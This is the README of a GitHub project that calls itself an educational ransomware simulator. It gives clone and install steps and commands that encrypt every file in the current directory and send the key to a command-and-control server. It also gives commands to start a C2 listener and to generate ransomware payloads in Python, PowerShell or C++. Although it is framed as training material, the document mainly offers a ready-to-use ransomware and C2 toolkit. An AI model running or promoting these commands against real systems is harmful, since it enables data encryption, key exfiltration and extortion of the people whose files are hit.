This project simulates a ransomware scenario for educational purposes. It includes file encryption, decryption, payload generation, and communication with a Command and Control (C2) server (In development).
-
Clone the repository:
git clone https://github.com/CyberSecurityUP/RanSimulation.git cd RansomwareSimulator -
Install required dependencies:
pip install cryptography
-
Ensure Python 3.8+ is installed on your system.
Encrypt all files in the current directory and send the encryption key to the specified C2 server:
python3 main.py --encrypt --ip <C2_IP> --port <C2_PORT>Example:
python3 main.py --encrypt --ip 127.0.0.1 --port 4444Decrypt all files in the current directory using the provided encryption key:
python3 main.py --decrypt --key <ENCRYPTION_KEY>Example:
python3 main.py --decrypt --key "YOUR_ENCRYPTION_KEY"Start a C2 listener to receive encryption keys from clients:
python3 main.py --listen --ip <LISTEN_IP> --port <LISTEN_PORT>Example:
python3 main.py --listen --ip 0.0.0.0 --port 4444Generate a ransomware payload in Python, PowerShell, or C++:
python3 main.py --generate <LANGUAGE> --ip <C2_IP> --port <C2_PORT>Example:
python3 main.py --generate python --ip 127.0.0.1 --port 4444Supported languages:
pythonpowershellc++